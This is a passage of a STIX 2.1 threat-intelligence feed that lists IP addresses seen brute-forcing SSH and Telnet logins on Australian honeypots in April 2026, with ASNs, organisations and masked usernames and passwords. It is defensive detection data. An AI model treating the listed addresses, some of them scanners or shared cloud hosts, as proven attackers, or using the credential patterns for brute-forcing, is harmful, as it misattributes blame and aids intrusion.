      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 363. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, 3**********4, t**t, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 1******8, !********x, 1*********y.",
      "id": "indicator--9a494826-3d19-454a-8b4e-3052c276ad9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.158.22.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation. Usernames observed (masked): r**t, 3**********4, c****e, d***a, f****e. Passwords observed (masked): 1******x, 3***********4, 3**********4, 7****6, A*******#.",
      "id": "indicator--179144e5-28b6-48cc-96cb-22887f154b15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.98.197.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): z*****0.",
      "id": "indicator--14f3f3ac-3a6b-4a94-92e2-09df1678170d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.221.101.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T02:15:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 363. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 210785. Organisation(s): KAPELAN Medien GmbH. Usernames observed (masked): r**t, 3**********4, t**t, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 1******8, !********x, 1*********y.",
      "id": "indicator--09ec046e-6dc6-4828-b868-9810396cafc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T02:15:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '93.93.202.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T02:15:29.000Z",
      "valid_until": "2026-05-12T02:15:08.000Z"
    },
    {
      "created": "2026-04-10T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24139. Organisation(s): Huashu media&Network Limited.",
      "id": "indicator--8a85a94b-b9b6-406c-9b6b-24f1b2318e84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.215.47.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T03:15:03.000Z",
      "valid_until": "2026-05-12T03:15:02.000Z"
    },
    {
      "created": "2026-04-10T04:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc3345b3-0ffa-4556-8ff1-587470ef8dec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:15:03.000Z",
      "valid_until": "2026-05-12T04:15:02.000Z"
    },
    {
      "created": "2026-04-10T04:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c35a47ec-3b50-4f2e-bb4f-fa0e176eba3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T04:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.70.139.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T04:15:03.000Z",
      "valid_until": "2026-05-12T04:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 59223. Organisation(s): CHINANET Qinghai province IDC network. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**3, 3***********4, 3**********4, A*******:, b*******3.",
      "id": "indicator--115f579a-d880-41cd-b775-2c366a2a5188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.166.67.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 216039. Organisation(s): EdgeSec Technologies Limited. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--e25d8f1a-6cff-46fb-a839-c6631b29e06d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.220.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c0a42580-4f12-4e26-bfb1-92b5beaf54c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.119.189.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--81087e7e-2be9-40b3-8a55-ae9f28d59270",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.137.131.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a2120594-92c1-4e8e-95e5-3f72379e3795",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.47.57.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD..",
      "id": "indicator--aac8cc82-3329-48d9-bb3e-80f2e61bdd87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 277. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, 3**********4, t**t, u****u, a****s. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1****6.",
      "id": "indicator--1c6c2f7f-3c0e-4dca-80f6-0ecc8cbe6195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:15:03.000Z",
      "valid_until": "2026-05-12T05:15:02.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--cb8d6fb9-f244-483c-99f6-6ac45f1ca387",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.35.222.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 9506. Organisation(s): Singtel Fibre Broadband.",
      "id": "indicator--5a216e93-09a5-47f5-b161-7a9cf48db768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.106.188.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 165. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, h***g, 3**********4, c****e, f*****t. Passwords observed (masked): #*******3, 1****6, 1******8, 1*******a, 1********@.",
      "id": "indicator--6be6ba38-e278-4412-ba02-982e0680fd64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.93.73.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, f*****r, u****u, u**r, 3**********4. Passwords observed (masked): !**********C, 1**4, 1*********., 3***********4, 3**********4.",
      "id": "indicator--0737902e-3127-41c6-bb9b-c02e1ac1be3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.227.232.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 363. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 395839. Organisation(s): HOSTKEY. Usernames observed (masked): r**t, u****u, 3**********4, g*******r, h***g. Passwords observed (masked): 3***********4, 3**********4, #*******3, 0****0, ***.",
      "id": "indicator--e8d35a42-5640-4639-a921-139b798d8bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.164.114.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--3fed5702-7278-4b40-80e7-307e6120d2a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.250.26.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 62240. Organisation(s): Clouvider Limited.",
      "id": "indicator--86b255f0-026e-46a5-ae23-82e7415ff211",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.164.130.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 363. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 202660. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, u****u, 3**********4, g*******r, h***g. Passwords observed (masked): 3***********4, 3**********4, #*******3, 0****0, ***.",
      "id": "indicator--f093b942-80c6-49e0-8b91-2f10cd66ed45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '89.126.211.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:15:04.000Z",
      "valid_until": "2026-05-12T06:15:03.000Z"
    },
    {
      "created": "2026-04-10T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--1b552451-789c-4511-9d32-924dc667b672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.191.89.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:15:03.000Z",
      "valid_until": "2026-05-12T07:15:01.000Z"
    },
    {
      "created": "2026-04-10T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 4618. Organisation(s): Internet Thailand Company Limited. Usernames observed (masked): r**t, u****u, 3**********4, ***, f*****i. Passwords observed (masked): ***, 1**4, 1*******!, 3***********4, 3**********4.",
      "id": "indicator--f8aab748-62fe-45bf-97da-ca74269246e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.150.107.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:15:03.000Z",
      "valid_until": "2026-05-12T07:15:01.000Z"
    },
    {
      "created": "2026-04-10T07:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--1e3690bf-78c2-4767-a2d0-48618cdd86f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '24.234.202.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:15:03.000Z",
      "valid_until": "2026-05-12T07:15:01.000Z"
    },
    {
      "created": "2026-04-10T08:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--fc81b5d9-b4fb-4176-840c-83c77144a006",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.244.104.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:15:03.000Z",
      "valid_until": "2026-05-12T08:15:01.000Z"
    },
    {
      "created": "2026-04-10T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 216473. Organisation(s): Bashinskii Vadim Ruslanovich.",
      "id": "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:15:03.000Z",
      "valid_until": "2026-05-12T08:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38019. Organisation(s): tianjin Mobile Communication Company Limited.",
      "id": "indicator--4dcfe1b2-a8fa-4ab1-bb65-21046c931e47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.33.71.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): ***, r**t, ***. Passwords observed (masked): c******e, h******4, v***5.",
      "id": "indicator--4fd20af8-116c-47e3-82ad-652b42c2f4f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.135.251.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--6bb1aec4-4c6c-42fd-923f-08f00a721fe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.7.8.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): o****r, s**e, t*******k. Passwords observed (masked): o****r, s**e, t*********3.",
      "id": "indicator--8a26d60b-07f3-47af-9ce1-12897c10a699",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.161.47.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7eed4ba1-6f09-4535-89f5-f2dde638edac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company. Usernames observed (masked): ***, r**t. Passwords observed (masked): 1****3, 2****1.",
      "id": "indicator--1f16c46c-4643-4a28-8fd3-18a5f9db76a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.112.42.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. Usernames observed (masked): u**t. Passwords observed (masked): u**t.",
      "id": "indicator--94f9ac6d-02fc-424d-a633-d38ce9a4b15f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.38.41.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
